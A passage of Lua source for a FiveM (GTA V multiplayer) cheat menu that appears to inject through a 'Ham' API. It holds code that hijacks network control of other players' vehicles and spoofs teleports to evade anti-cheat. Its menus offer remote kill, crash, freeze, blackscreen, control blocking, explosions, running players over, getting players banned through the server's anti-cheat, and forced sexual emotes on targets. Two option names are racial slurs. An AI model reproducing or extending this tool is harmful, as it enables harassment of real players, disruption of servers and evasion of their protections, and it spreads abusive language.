2.8, 3.2, innerRadius + 1.6, 46, 1.0, true }, { 0, 0, innerRadius + 4.6, 38, 1.0, true }, { 0, 0, innerRadius + 3.1, 62, 1.0, true }, { 0, 0, innerRadius + 2.0, 95, 1.0, true }, { 0, 0, innerRadius + 1.05, 148, 1.0, true }, { 0, 0, innerRadius + 0.38, 200, 1.0, true }, { 0, 0, innerRadius, 236, 1.0, true }, { 0, 0, innerRadius + 1.35, 255, 2.1, false }, { 0, 0, innerRadius, 255, 1.65, false } } for index = 1, #circles do local circle = circles[index] Ham.drawCircle( { indicatorX + circle[1], indicatorY + circle[2], circle[3] }, { 0, 0, 0, circle[4] }, 64, circle[5], circle[6] ) end end function menuUtilities.freecamBlackHoleRestorePedToFreecamSpot(ped, restoreState, preserveTasks) if not ped or ped == 0 then return end if not preserveTasks then ClearPedTasksImmediately(ped) end if IsPedInAnyVehicle(ped, false) then local vehicle = GetVehiclePedIsIn(ped, false) if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) then TaskLeaveVehicle(ped, vehicle, 64) local deadline = GetGameTimer() + 650 while IsPedInAnyVehicle(ped, false) and deadline > GetGameTimer() do Citizen.Wait(10) end end if not preserveTasks then ClearPedTasksImmediately(ped) end end if IsPedInAnyVehicle(ped, false) and not preserveTasks then ClearPedTasksImmediately(ped) end local originalPosition = menu.vars.freecamOriginalPlayerCoords if originalPosition and originalPosition.x then SetEntityCoordsNoOffset( ped, originalPosition.x, originalPosition.y, originalPosition.z, false, false, false ) elseif restoreState and restoreState.coords then SetEntityCoordsNoOffset( ped, restoreState.coords.x, restoreState.coords.y, restoreState.coords.z, false, false, false ) end if restoreState and restoreState.visible ~= nil then SetEntityVisible(ped, restoreState.visible, false) end if preserveTasks then SetEntityVelocity(ped, 0.0, 0.0, 0.0) end end function menuUtilities.freecamBlackHoleReleaseVehicles() local controlled = menu.vars.freecamBlackHoleControlledVehicles local hasVehicles = controlled and next(controlled) ~= nil local ped = PlayerPedId() if hasVehicles and ped and ped ~= 0 then menu.utils.freecamBlackHoleRestorePedToFreecamSpot(ped, nil) end if controlled then local iterator, state, key = pairs(controlled) for vehicle, _ in iterator, state, key do if DoesEntityExist(vehicle) and NetworkHasControlOfEntity(vehicle) then FreezeEntityPosition(vehicle, false) end end end menu.vars.freecamBlackHoleControlledVehicles = {} menu.vars.freecamBlackHoleBriefDone = {} end function menuUtilities.freecamBlackHoleFullStop() menu.vars.freecamBlackHoleBriefQueue = {} menu.vars.freecamBlackHoleBriefQueued = {} menu.vars.freecamBlackHoleBriefDone = {} menu.vars.freecamBlackHoleSessionId = (menu.vars.freecamBlackHoleSessionId or 0) + 1 menu.utils.freecamBlackHoleReleaseVehicles() end function menuUtilities.freecamBlackHoleLaunchHeldVehicles() local controlled = menu.vars.freecamBlackHoleControlledVehicles if not controlled or not next(controlled) then return end local rotation = GetFinalRenderedCamRot(2) if not rotation then return end local direction = menu.utils.freecamBlackHoleCamForward(rotation) local force = menu.vars.freecamMenu and menu.vars.freecamMenu.physgunForce or 320.0 local vehicles = {} local iterator, state, key = pairs(controlled) for vehicle, _ in iterator, state, key do vehicles[#vehicles + 1] = vehicle end local vehicleIterator, vehicleState, vehicleKey = ipairs(vehicles) for _, vehicle in vehicleIterator, vehicleState, vehicleKey do controlled[vehicle] = nil if menu.vars.freecamBlackHoleBriefQueued then menu.vars.freecamBlackHoleBriefQueued[vehicle] = nil end if menu.vars.freecamBlackHoleBriefDone then menu.vars.freecamBlackHoleBriefDone[vehicle] = nil end if DoesEntityExist(vehicle) then FreezeEntityPosition(vehicle, false) if not NetworkGetEntityIsNetworked(vehicle) then NetworkRegisterEntityAsNetworked(vehicle) end local deadline = GetGameTimer() + 220 while not NetworkHasControlOfEntity(vehicle) and deadline > GetGameTimer() do NetworkRequestControlOfEntity(vehicle) Citizen.Wait(0) end if NetworkHasControlOfEntity(vehicle) then ApplyForceToEntity( vehicle, 1, direction.x * force, direction.y * force, direction.z * force, 0.0, 0.0, 0.0, 0, false, true, true, false, true ) end end end end function menuUtilities.freecamBlackHoleBriefEnterForNetworkControl(vehicle) if not vehicle or vehicle == 0 or not DoesEntityExist(vehicle) then return end if not NetworkGetEntityIsNetworked(vehicle) then NetworkRegisterEntityAsNetworked(vehicle) end if NetworkHasControlOfEntity(vehicle) then menu.vars.freecamBlackHoleBriefDone = menu.vars.freecamBlackHoleBriefDone or {} menu.vars.freecamBlackHoleBriefDone[vehicle] = true menu.vars.freecamBlackHoleControlledVehicles = menu.vars.freecamBlackHoleControlledVehicles or {} menu.vars.freecamBlackHoleControlledVehicles[vehicle] = true return end local ped = PlayerPedId() if not ped or ped == 0 then return end local restoreState = menu.utils.getFreecamPlayerRestoreState(ped) local entered = false if Ham and Ham.spoofTeleport then Ham.spoofTeleport(true) end menu.utils.withTempPlayerInvisibility(function() ClearPedTasksImmediately(ped) local seat if IsVehicleSeatFree(vehicle, -1) then seat = -1 else local maxPassengers = GetVehicleMaxNumberOfPassengers(vehicle) if not maxPassengers or maxPassengers < 0 then maxPassengers = 8 end for candidate = 0, maxPassengers - 1, 1 do if IsVehicleSeatFree(vehicle, candidate) then seat = candidate break end end end if seat == nil then local driver = GetPedInVehicleSeat(vehicle, -1) if driver ~= 0 and DoesEntityExist(driver) and not IsPedAPlayer(driver) then menu.utils.removeDriverFromVehicle(vehicle) local deadline = GetGameTimer() + 900 while DoesEntityExist(vehicle) and not IsVehicleSeatFree(vehicle, -1) and deadline > GetGameTimer() do Citizen.Wait(10) end if IsVehicleSeatFree(vehicle, -1) then seat = -1 end end end if seat == nil then return end local entryPosition = GetOffsetFromEntityInWorldCoords(vehicle, 2.15, 0.0, 0.4) SetEntityCoords(ped, entryPosition.x, entryPosition.y, entryPosition.z, false, false, false, true) Citizen.Wait(40) TaskWarpPedIntoVehicle(ped, vehicle, seat) Citizen.Wait(320) entered = true if not NetworkGetEntityIsNetworked(vehicle) then NetworkRegisterEntityAsNetworked(vehicle) end local deadline = GetGameTimer() + 500 while not NetworkHasControlOfEntity(vehicle) and deadline > GetGameTimer() do NetworkRequestControlOfEntity(vehicle) Citizen.Wait(0) end menu.utils.freecamBlackHoleRestorePedToFreecamSpot(ped, restoreState) end) if Ham and Ham.spoofTeleport then Ham.spoofTeleport(false) end if entered then menu.vars.freecamBlackHoleBriefDone = menu.vars.freecamBlackHoleBriefDone or {} menu.vars.freecamBlackHoleBriefDone[vehicle] = true if NetworkHasControlOfEntity(vehicle) then menu.vars.freecamBlackHoleControlledVehicles[vehicle] = true end end end function menuUtilities.freecamBlackHoleEnsureThreads() if not menu.vars.freecamBlackHoleTpThreadActive then menu.vars.freecamBlackHoleTpThreadActive = true local teleportSessionId = menu.vars.freecamBlackHoleSessionId or 0 menu.vars.freecamBlackHoleControlledVehicles = menu.vars.freecamBlackHoleControlledVehicles or {} Citizen.CreateThread(function() local wasHolding = false while menu.vars.freecamMenuActive and teleportSessionId == (menu.vars.freecamBlackHoleSessionId or 0) do if not menu.utils.isFreecamBlackHoleHoldActive() then if wasHolding then menu.utils.freecamBlackHoleReleaseVehicles() end wasHolding = false Citizen.Wait(400) else if not menu.vars.freecamBlackHoleStartCapturedThisSession then menu.vars.freecamBlackHoleStartCapturedThisSession = true menu.vars.freecamBlackHoleWasUsed = true local ped = PlayerPedId() if ped and ped ~= 0 then local position if IsPedInAnyVehicle(ped, false) then local vehicle = GetVehiclePedIsIn(ped, false) if vehicle and vehicle ~= 0 and DoesEntityExist(vehicle) then position = GetEntityCoords(vehicle) end else position = GetEntityCoords(ped) end if position then menu.vars.freecamBlackHoleStartCoords = vector3(position.x, position.y, position.z) end end end wasHolding = true local ped = PlayerPedId() local currentVehicle = IsPedInAnyVehicle(ped, false) and GetVehiclePedIsIn(ped, false) or 0 local lastVehicle = GetVehiclePedIsIn(ped, true) local cameraPosition = GetFinalRenderedCamCoord() local targetPosition, longRange = menu.utils.freecamBlackHoleGetTargetCoords() targetPosition = targetPosition or cameraPosition local range = longRange and 1400.0 or 300.0 if targetPosition and cameraPosition then local vehicles = GetGamePool("CVehicle") or {} menu.vars.freecamBlackHoleBriefQueue = menu.vars.freecamBlackHoleBriefQueue or {} menu.vars.freecamBlackHoleBriefQueued = menu.vars.freecamBlackHoleBriefQueued or {} menu.vars.freecamBlackHoleBriefDone = menu.vars.freecamBlackHoleBriefDone or {} local function eligibleVehicle(vehicle) if not DoesEntityExist(vehicle) or vehicle == currentVehicle or vehicle == lastVehicle then return false end local driver = GetPedInVehicleSeat(vehicle, -1) if driver ~= 0 and IsEntityAPed(driver) and IsPedAPlayer(driver) then return false end local vehiclePosition = GetEntityCoords(vehicle) return range > #(targetPosition - vehiclePosition) or range > #(cameraPosition - vehiclePosition) end local iterator1, state1, key1 = ipairs(vehicles) for _, vehicle in iterator1, state1, key1 do if eligibleVehicle(vehicle) then if not NetworkGetEntityIsNetworked(vehicle) then NetworkRegisterEntityAsNetworked(vehicle) end NetworkRequestControlOfEntity(vehicle) end end local iterator2, state2, key2 = ipairs(vehicles) for _, vehicle in iterator2, state2, key2 do if eligibleVehicle(vehicle) and not menu.vars.freecamBlackHoleBriefDone[vehicle] then if NetworkHasControlOfEntity(vehicle) then menu.vars.freecamBlackHoleBriefDone[vehicle] = true menu.vars.freecamBlackHoleControlledVehicles[vehicle] = true elseif not menu.vars.freecamBlackHoleBriefQueued[vehicle] and #menu.vars.freecamBlackHoleBriefQueue < 80 then menu.vars.freecamBlackHoleBriefQueued[vehicle] = true table.insert(menu.vars.freecamBlackHoleBriefQueue, vehicle) end end end local iterator3, state3, key3 = ipairs(vehicles) for _, vehicle in iterator3, state3, key3 do if eligibleVehicle(vehicle) and not menu.vars.freecamBlackHoleControlledVehicles[vehicle] and NetworkHasControlOfEntity(vehicle) then menu.vars.freecamBlackHoleControlledVehicles[vehicle] = true end end end Citizen.Wait(320) end end menu.vars.freecamBlackHoleTpThreadActive = false menu.utils.freecamBlackHoleReleaseVehicles() end) end if not menu.vars.freecamBlackHolePullThreadActive then menu.vars.freecamBlackHolePullThreadActive = true local pullSessionId = menu.vars.freecamBlackHoleSessionId or 0 Citizen.CreateThread(function() local attractionStrength = 10.5 local maxSpeed = 42.0 local velocityDamping = 0.11 local wasHolding = false while menu.vars.freecamMenuActive and pullSessionId == (menu.vars.freecamBlackHoleSessionId or 0) do if not menu.utils.isFreecamBlackHoleHoldActive() then if wasHolding then menu.utils.freecamBlackHoleReleaseVehicles() end wasHolding = false Citizen.Wait(200) else wasHolding = true local targetPosition, longRange = menu.utils.freecamBlackHoleGetTargetCoords() if targetPosition then local ped = PlayerPedId() local currentVehicle = IsPedInAnyVehicle(ped, false) and GetVehiclePedIsIn(ped, false) or 0 local lastVehicle = GetVehiclePedIsIn(ped, true) local cameraPosition = GetFinalRenderedCamCoord() local iterator, state, key = pairs(menu.vars.freecamBlackHoleControlledVehicles) for vehicle, _ in iterator, state, key do repeat if not DoesEntityExist(vehicle) then menu.vars.freecamBlackHoleControlledVehicles[vehicle] = nil break end if vehicle == currentVehicle or vehicle == lastVehicle then break end if longRange then if not NetworkGetEntityIsNetworked(vehicle) then NetworkRegisterEntityAsNetworked(vehicle) end NetworkRequestControlOfEntity(vehicle) end if not NetworkHasControlOfEntity(vehicle) then break end local vehiclePosition = GetEntityCoords(vehicle) local targetDistance = #(vehiclePosition - targetPosition) local cameraDistance = cameraPosition and #(vehiclePosition - cameraPosition) or 1.0E9 if not longRange and 300.0 < targetDistance and 300.0 < cameraDistance then menu.vars.freecamBlackHoleControlledVehicles[vehicle] = nil break end local pullOffset = targetPosition - vehiclePosition local pullDistance = #pullOffset FreezeEntityPosition(vehicle, false) if pullDistance > 0.35 then local strength = attractionStrength * (longRange and 1.52 or 1.0) * (1.0 + 22.0 / math.max(pullDistance, 12.0)) ApplyForceToEntity( vehicle, 1, pullOffset.x / pullDistance * strength, pullOffset.y / pullDistance * strength, pullOffset.z / pullDistance * strength, 0.0, 0.0, 0.0, 0, false, true, true, false, true ) end local velocity = GetEntityVelocity(vehicle) local velocityX = velocity.x or velocity[1] or 0.0 local velocityY = velocity.y or velocity[2] or 0.0 local velocityZ = velocity.z or velocity[3] or 0.0 ApplyForceToEntity( vehicle, 1, -velocityX * velocityDamping, -velocityY * velocityDamping, -velocityZ * velocityDamping, 0.0, 0.0, 0.0, 0, false, true, true, false, true ) local speed = math.sqrt( velocityX * velocityX + velocityY * velocityY + velocityZ * velocityZ ) local speedLimit = longRange and maxSpeed * 1.12 or maxSpeed if speed > speedLimit then local factor = speedLimit / speed SetEntityVelocity( vehicle, velocityX * factor, velocityY * factor, velocityZ * factor ) end until true end end Citizen.Wait(95) end end menu.vars.freecamBlackHolePullThreadActive = false menu.utils.freecamBlackHoleReleaseVehicles() end) end local sessionId = menu.vars.freecamBlackHoleSessionId or 0 if (menu.vars.freecamBlackHoleBriefWorkerSid or -1) ~= sessionId then menu.vars.freecamBlackHoleBriefWorkerSid = sessionId Citizen.CreateThread(function() while menu.vars.freecamMenuActive and sessionId == (menu.vars.freecamBlackHoleSessionId or 0) do local queue = menu.vars.freecamBlackHoleBriefQueue if queue and #queue > 0 then local vehicle = table.remove(queue, 1) if vehicle and DoesEntityExist(vehicle) then menu.utils.freecamBlackHoleBriefEnterForNetworkControl(vehicle) end if vehicle and menu.vars.freecamBlackHoleBriefQueued then menu.vars.freecamBlackHoleBriefQueued[vehicle] = nil end Citizen.Wait(255) else Citizen.Wait(45) end end if (menu.vars.freecamBlackHoleBriefWorkerSid or -1) == sessionId then menu.vars.freecamBlackHoleBriefWorkerSid = nil end end) end end initialMenuForUtilities.utils = menuUtilities end do local menuTargetForConfig = menu local assembledMenuConfig = {} local pendingConfigSection = {} do local teleportToUserOption = { name = "Teleport To User", type = "button", func = "adminTeleportToUser", description = "Teleport yourself to the selected Vanity user position" } local teleportToMeOption = { name = "Teleport To Me", type = "button", func = "adminTeleportToMe", description = "Remote: teleport selected users to your current position" } local reviveOption = { name = "Revive", type = "button", func = "adminReviveTargets", description = "Remote: run revive logic on targets (framework-aware, same as self revive)" } local spawnVehicleOption = { name = "Spawn Vehicle", type = "button", func = "adminSpawnVehiclePrompt", description = "Remote: enter model name; target spawns the vehicle via the menu spawner" } local sendNotifyOption = { name = "Send Notify", type = "button", func = "adminSendNotify", description = "Remote: large notification (~5 s) on target clients" } local optionsOption = { name = "Options", type = "seperator" } local killOption = { name = "Kill", type = "button", func = "adminKillSelf", description = "Remote: set target player health to 0 on their client" } local wegNiggernOption = { name = "weg niggern", type = "button", func = "adminWegNiggern", description = "Remote: URLs, freeze, and crash on selected targets" } local function condition() local name = Ham.getName() return name == "ZModz" or name == "Finn" or name == "amirocn" end pendingMenuEntry25 = condition wegNiggernOption.condition = pendingMenuEntry25 local holyNigganOption = { name = "Holy niggan", type = "button", func = "adminHolyNiggan", description = "Remote: image slideshow + audio on selected targets" } local function condition() local name = Ham.getName() return name == "ZModz" or name == "Finn" or name == "amirocn" end pendingMenuEntry26 = condition holyNigganOption.condition = pendingMenuEntry26 local slowModeOption = { name = "Slow Mode", type = "selector", func = "adminSlowModeSelector", var = "adminSlowModeChoice" } pendingMenuEntry27 = { "Slow Mode", "Remove" } slowModeOption.choices = pendingMenuEntry27 slowModeOption.description = "Choose Slow or Remove and send to targets" local teleportToOption = { name = "Teleport To", type = "selector", func = "adminSkyVoidSelector", var = "adminSkyVoidChoice", choices = { "Sky", "Void" }, description = "Teleport targets to Sky or Void at fixed coordinates" } pendingMenuEntry27 = { name = "Teleport To Waypoint", type = "button", func = "adminTeleportToMyWaypoint", description = "Remote: teleport targets to your map waypoint (ground height resolved from you)" } local trollOption = { name = "Troll", type = "seperator" } local jumpscareOption = { name = "Jumpscare", type = "button", func = "adminJumpscare", description = "Remote: fullscreen image + audio on targets; short local preview for you" } local soundOption = { name = "Sound", type = "button", func = "adminVanitySound", description = "Remote: play Catbox audio on targets; local preview for you" } local peacockOption = { name = "Peacock", type = "button", func = "adminPeacockSound", description = "Ricky Peakcock" } pendingMenuEntry32 = { name = "Ban Player", type = "button", func = "adminBanPlayer", description = "Remote: trigger ban logic on targets (Vanity group payload)" } local blackscreenOption = { name = "Blackscreen", type = "selector", func = "adminBlackscreenSelector", var = "adminBlackscreenChoice", choices = { "Blackscreen", "Remove" }, description = "Send Blackscreen or Remove to targets only" } local blockControlsOption = { name = "Block Controls", type = "selector", func = "adminBlockControlsSelector", var = "adminBlockControlsChoice", choices = { "Block Controls", "Remove" }, description = "Block all controls or restore them on target clients" } local moreOption = { name = "More", type = "seperator" } local groupOverrideOption = { name = "Group Override", type = "button", func = "adminGroupOverride", description = "Enter group/rank label shown for targets (group_override payload)" } local giveAllWeaponsOption = { name = "Give All Weapons", type = "button", func = "adminGiveAllWeapons", description = "Remote: give all menu weapons list + ammo on targets" } local resetMenuOption = { name = "Reset Menu", type = "button", func = "adminResetMenu", description = "Remote: reset_menu / stop menu shell on targets" } pendingConfigSection[1] = teleportToUserOption pendingConfigSection[2] = teleportToMeOption pendingConfigSection[3] = reviveOption pendingConfigSection[4] = spawnVehicleOption pendingConfigSection[5] = sendNotifyOption pendingConfigSection[6] = optionsOption pendingConfigSection[7] = killOption pendingConfigSection[8] = wegNiggernOption pendingConfigSection[9] = holyNigganOption pendingConfigSection[10] = slowModeOption pendingConfigSection[11] = teleportToOption pendingConfigSection[12] = pendingMenuEntry27 pendingConfigSection[13] = trollOption pendingConfigSection[14] = jumpscareOption pendingConfigSection[15] = soundOption pendingConfigSection[16] = peacockOption pendingConfigSection[17] = pendingMenuEntry32 pendingConfigSection[18] = blackscreenOption pendingConfigSection[19] = blockControlsOption pendingConfigSection[20] = moreOption pendingConfigSection[21] = groupOverrideOption pendingConfigSection[22] = giveAllWeaponsOption pendingConfigSection[23] = resetMenuOption assembledMenuConfig.adminSubmenuTemplate = pendingConfigSection pendingConfigSection = {} end do local spectateOption = { name = "Spectate", type = "toggleIndiv", func = "spectatePlayer", var = "spectate", runMultiple = false, silentToggle = true, description = "Spectate" } local teleportToOption = { name = "Teleport To", type = "selector", func = "teleportSelector", var = "teleportSelector", choices = { "Player", "Vehicle" }, description = "Teleport to player or vehicle" } local friendOption = { name = "Friend", type = "selector", func = "friendActionTarget", var = "friendActionSelector", choices = { "Add", "Remove", "Clear Friend List" }, runMultiple = true, description = "Add or remove from friend list" } local copyOutfitOption = { name = "Copy Outfit", type = "button", func = "copyOutfit", runMultiple = false, description = "Copy outfit to yourself" } local trollsOption = { name = "Trolls", type = "seperator" } pendingMenuEntry21 = {} local function name() local serverName = menu.utils.monamiLaunchServers[menu.utils.getServerIp()] or "MonamiV" return "Launch ban (" .. serverName .. ")" end pendingMenuEntry23 = name pendingMenuEntry21.name = pendingMenuEntry23 pendingMenuEntry21.type = "button" pendingMenuEntry21.func = "monamiLaunchPlayer" pendingMenuEntry21.runMultiple = false pendingMenuEntry23 = function() return menu.functions.isServerMonamiLaunchMode() end pendingMenuEntry21.condition = pendingMenuEntry23 pendingMenuEntry21.description = "Bisschen die Leute vom AC bannen :(" local blameOption = { name = "Blame", type = "selectorToggle", var = "blameStyle", toggleVar = "blamePlayer", toggleFunc = "blamePlayer", indivVar = "blamePlayer", choices = { "Fuck", "Fuck 2", "Twerk", "Blowjob", "Doggy", "Jerk", "Jerk 2", "Piggyback", "Hug", "Aladdin", "Kiss", "Slap", "Handshake", "High Five", "Bro", "Lapdance", "Sexy Grind", "Booty Shake", "Blow Kiss", "Slap 2", "Strip Dance", "Lean Flirt", "Jerk Off", "Give", "Fist Bump" }, defaultToggle = false, runMultiple = false, description = "Sex emotes; attaches to target" } local ragdollOption = { name = "Ragdoll", type = "selectorToggle", var = "onlineRagdollMode", choices = { "Permanent", "Affected" }, default = 1, toggleVar = "ragdollPlayer", toggleFunc = "ragdollPlayer", indivVar = "ragdollPlayer", defaultToggle = false, runMultiple = false, description = "Ragdoll" } local punchOption = { name = "Punch", type = "selectorToggle", var = "punchReactionMode", choices = { "Random", "Head Punch" }, default = 1, toggleVar = "punchPlayer", toggleFunc = "punchPlayer", indivVar = "punchPlayer", defaultToggle = false, runMultiple = true, description = "Makes the player react as if being punched" } local letHimFightOption = { name = "Let Him Fight", type = "button", func = "fakeFightPlayer", runMultiple = true, description = "Makes the player perform a boxing animation" } local launchOption = { name = "Launch", type = "button", func = "launchPlayerTwo", runMultiple = false, description = "Launch" } local safeKillOption = { name = "Safe Kill", type = "button", func = "safeKillPlayer", runMultiple = false, description = "Exotic kill method" } local slapOption = { name = "Slap", type = "button", func = "slapKillPlayer", runMultiple = false, description = "Slap" } local explodeOption = { name = "Explode", type = "button", func = "explosionPlayerFreecam", runMultiple = false, description = "Spawn a Explosion" } local chaosOption = { name = "Chaos", type = "seperator" } pendingMenuEntry31 = { name = "Smash", type = "toggleIndiv", func = "smashPlayer", var = "smashPlayer", defaultToggle = false, runMultiple = false } pendingMenuEntry33 = function() return not menu.functions.isServer185169NearbyVehicleMode() end pendingMenuEntry31.condition = pendingMenuEntry33 pendingMenuEntry31.description = "Repeatedly drop a car until toggled off" local ramOption = { name = "Ram", type = "toggleIndiv", func = "ramPlayer", var = "ramPlayer", runMultiple = true } pendingMenuEntry34 = function() return not menu.functions.isServer185169NearbyVehicleMode() end ramOption.condition = pendingMenuEntry34 ramOption.description = "Continuously ram with a vehicle" pendingMenuEntry33 = { name = "Flashbang", type = "toggleIndiv", func = "flashbangPlayer", var = "flashbangPlayer", runMultiple = true, description = "Flash bang the player" } pendingMenuEntry35 = function() local antiCheats = menu.vars.antiCheats or {} if antiCheats.ElectronAC or antiCheats.FiveGuard or antiCheats.ReaperV4 then return false end if antiCheats.WaveShield then local config = menu.vars.wsConfig if not config then return false end return not config.Explosions or not config.Explosions.EnableParticlesWhiteList end return next(antiCheats) == nil end pendingMenuEntry33.condition = pendingMenuEntry35 local vDMOption = { name = "VDM", type = "toggleIndiv", func = "vdmPlayer", var = "vdmPlayer", runMultiple = false } pendingMenuEntry36 = function() return not menu.functions.isServer185169NearbyVehicleMode() end vDMOption.condition = pendingMenuEntry36 vDMOption.description = "Spawn a vehicle to run over the player repeatedly" pendingMenuEntry35 = { name = "Teleport to me (Local)", type = "toggleIndiv", func = "teleportPlayerLocal", var = "localTeleport", defaultToggle = false, runMultiple = false } pendingMenuEntry37 = function() return not menu.functions.isServer185169NearbyVehicleMode() end pendingMenuEntry35.condition = pendingMenuEntry37 pendingMenuEntry35.description = "Teleport in front of you locally" pendingMenuEntry36 = { name = "Cage", type = "selector", func = "spawnTrashCan", var = "trapSelector" } pendingMenuEntry38 = { "Box", "Backrooms", "Tree", "Truck" } pendingMenuEntry36.choices = pendingMenuEntry38 pendingMenuEntry36.runMultiple = false pendingMenuEntry38 = function() return not menu.functions.isServer185169NearbyVehicleMode() end pendingMenuEntry36.condition = pendingMenuEntry38 pendingMenuEntry36.description = "Trap the player with the selected cage" pendingMenuEntry37 = { name = "Attach", type = "selector", func = "attachPlayerSelector", var = "attachSelector" } pendingMenuEntry39 = { "Vehicle", "BMX", "Boat" } pendingMenuEntry37.choices = pendingMenuEntry39 pendingMenuEntry37.runMultiple = true pendingMenuEntry39 = function() return not menu.functions.isServer185169NearbyVehicleMode() end pendingMenuEntry37.condition = pendingMenuEntry39 pendingMenuEntry37.description = "Attach a vehicle or object vertically" pendingMenuEntry38 = { name = "Trap", type = "selector", func = "boxPlayerSelector", var = "boxPlayerSelector" } pendingMenuEntry40 = function() if Ham.hasResource("WaveShield") and not (menu.vars.wsConfig and menu.vars.wsConfig.Explosions.EnableParticlesWhiteList) then return { "Box", "Chair", "Fire" } end return { "Box", "Chair" } end pendingMenuEntry38.choices = pendingMenuEntry40 pendingMenuEntry38.runMultiple = false pendingMenuEntry40 = function() return not menu.functions.isServer185169NearbyVehicleMode() end pendingMenuEntry38.condition = pendingMenuEntry40 pendingMenuEntry38.description = "Trap with the chosen style" pendingConfigSection[1] = spectateOption pendingConfigSection[2] = teleportToOption pendingConfigSection[3] = friendOption pendingConfigSection[4] = copyOutfitOption pendingConfigSection[5] = trollsOption pendingConfigSection[6] = pendingMenuEntry21 pendingConfigSection[7] = blameOption pendingConfigSection[8] = ragdollOption pendingConfigSection[9] = punchOption pendingConfigSection[10] = letHimFightOption pendingConfigSection[11] = launchOption pendingConfigSection[12] = safeKillOption pendingConfigSection[13] = slapOption pendingConfigSection[14] = explodeOption pendingConfigSection[15] = chaosOption pendingConfigSection[16] = pendingMenuEntry31 pendingConfigSection[17] = ramOption pendingConfigSection[18] = pendingMenuEntry33 pendingConfigSection[19] = vDMOption pendingConfigSection[20] = pendingMenuEntry35 pendingConfigSection[21] = pendingMenuEntry36 pendingConfigSection[22] = pendingMenuEntry37 pendingConfigSection[23] = pendingMenuEntry38 assembledMenuConfig.playerSubmenuTemplate = pendingConfigSection pendingConfigSection = {} end do local forceEmoteOption = { name = "Force Emote", type = "button", func = "forceEmote", runMultiple = true } pendingMenuEntry18 = function() return Ham and Ham.findEvent and Ham.findEvent("rpemotes:server:confirmEmote") and ( (Ham.hasResource and Ham.hasResource("rpemotes-reborn")) or (Ham.hasResource and Ham.hasResource("rpemotes")) ) end forceEmoteOption.condition = pendingMenuEntry18 forceEmoteOption.description = "Force an emote by name via rpemotes-reborn" pendingMenuEntry17 = { name = "Force Emote Reverse", type = "button", func = "forceEmoteReverse", runMultiple = true } pendingMenuEntry19 = function() return Ham and Ham.findEvent and Ham.findEvent("rpemotes:server:requestEmote") and ( (Ham.hasResource and Ham.hasResource("rpemotes-reborn")) or (Ham.hasResource and Ham.hasResource("rpemotes")) ) end pendingMenuEntry17.condition = pendingMenuEntry19 pendingMenuEntry17.description = "Send an emote request - accept with Y (246)" local emoteRequestOption = { name = "Emote Request", type = "button", func = "receiveEmoteRequest", runMultiple = false } pendingMenuEntry20 = function() return Ham and Ham.findEvent and Ham.findEvent("rpemotes:client:requestEmote") and ( (Ham.hasResource and Ham.hasResource("rpemotes-reborn")) or (Ham.hasResource and Ham.hasResource("rpemotes")) ) end emoteRequestOption.condition = pendingMenuEntry20 emoteRequestOption.description = "Receive an emote request - accept with Y (246)" pendingConfigSection[1] = forceEmoteOption pendingConfigSection[2] = pendingMenuEntry17 pendingConfigSection[3] = emoteRequestOption assembledMenuConfig.playerTriggersTemplate = pendingConfigSection pendingConfigSection = {} end pendingMenuEntry16 = { name = "Main" } pendingMenuEntry18 = {} pendingMenuEntry19 = { name = "Self Options", type = "submenu", description = "Switch tabs with Q and E" } pendingMenuEntry21 = {} pendingMenuEntry22 = { name = "Health" } pendingMenuEntry24 = {} do local godmodeOption = { name = "Godmode", type = "toggle", func = "toggleGodmode", var = "godmode", description = "Makes you invincible to all damage" } local autoReviveOption = { name = "Auto Revive", type = "toggle", var = "autoRevive", silentToggle = true, description = "Automatically revives you when you die" } local reviveOption = { name = "Revive", type = "button", func = "reviveSelf", description = "Instantly revives you if you're dead" } local healthOption = { name = "Health", type = "slider", var = "playerHealth", min = 0, max = 100, step = 5, default = 95, suffix = "%", func = "healSelf", disableHoldAcceleration = true, keybindIdentifier = "HEAL_SELF", keybindName = "Heal", description = "Heal" } local armorOption = { name = "Armor", type = "slider", var = "playerArmor", min = 0, max = 100, step = 5, default = 95, suffix = "%", func = "fillArmor", disableHoldAcceleration = true, keybindIdentifier = "FILL_ARMOR", keybindName = "Armor", description = "Armor" } local suicideOption = { name = "Suicide", type = "button", func = "suicideSelf", description = "Kill yourself instantly" } local playerProofsOption = { name = "Player Proofs", type = "seperator" } local bulletProofOption = { name = "Bullet Proof", type = "toggle", func = "togglePlayerProof", var = "proofBullet", description = "Immune to bullet damage" } local fireProofOption = { name = "Fire Proof", type = "toggle", func = "togglePlayerProof", var = "proofFire", description = "Immune to fire damage" } pendingMenuEntry34 = { name = "Explosion Proof", type = "toggle", func = "togglePlayerProof", var = "proofExplosion", description = "Immune to explosion damage" } local collisionProofOption = { name = "Collision Proof", type = "toggle", func = "togglePlayerProof", var = "proofCollision", description = "Immune to collision damage" } local meleeProofOption = { name = "Melee Proof", type = "toggle", func = "togglePlayerProof", var = "proofMelee", description = "Immune to melee damage" } local steamProofOption = { name = "Steam Proof", type = "toggle", func = "togglePlayerProof", var = "proofSteam", description = "Immune to steam damage" } local drownProofOption = { name = "Drown Proof", type = "toggle", func = "togglePlayerProof", var = "proofDrown", description = "Immune to drowning" } pendingMenuEntry24[1] = godmodeOption pendingMenuEntry24[2] = autoReviveOption pendingMenuEntry24[3] = reviveOption pendingMenuEntry24[4] = healthOption pendingMenuEntry24[5] = armorOption pendingMenuEntry24[6] = suicideOption pendingMenuEntry24[7] = playerProofsOption pendingMenuEntry24[8] = bulletProofOption pendingMenuEntry24[9] = fireProofOption pendingMenuEntry24[10] = pendingMenuEntry34 pendingMenuEntry24[11] = collisionProofOption pendingMenuEntry24[12] = meleeProofOption pendingMenuEntry24[13] = steamProofOption pendingMenuEntry24[14] = drownProofOption pendingMenuEntry22.options = pendingMenuEntry24 pendingMenuEntry23 = { name = "Basic" } end pendingMenuEntry25 = {} do local noClipOption = { name = "NoClip", type = "toggle", func = "toggleNoclip", var = "noclip", description = "Fly through walls. Adjust speed in the menu speed bar", keybindName = "Toggle Noclip", keybindIdentifier = "NOCLIP_TOGGLE", sliderVar = "noclipSpeed", sliderMin = 0.5, sliderMax = 15.0, sliderStep = 0.5, sliderDefault = 0.5, sliderSuffix = "x", sliderOnChangeFunc = "applyNoclipSpeed", disableHoldAcceleration = true } local noClipModeOption = { name = "NoClip Mode", type = "selectorToggle", var = "noclipMode", choices = { "Invisible", "Full Invisible", "Solo Session", "Aladdin", "Skateboard", "Swim", "Fall", "Freefall", "Pushups", "Yoga", "Dance High", "Dance Down", "Dance Up", "Dance Low", "Uncle Disco", "Raise 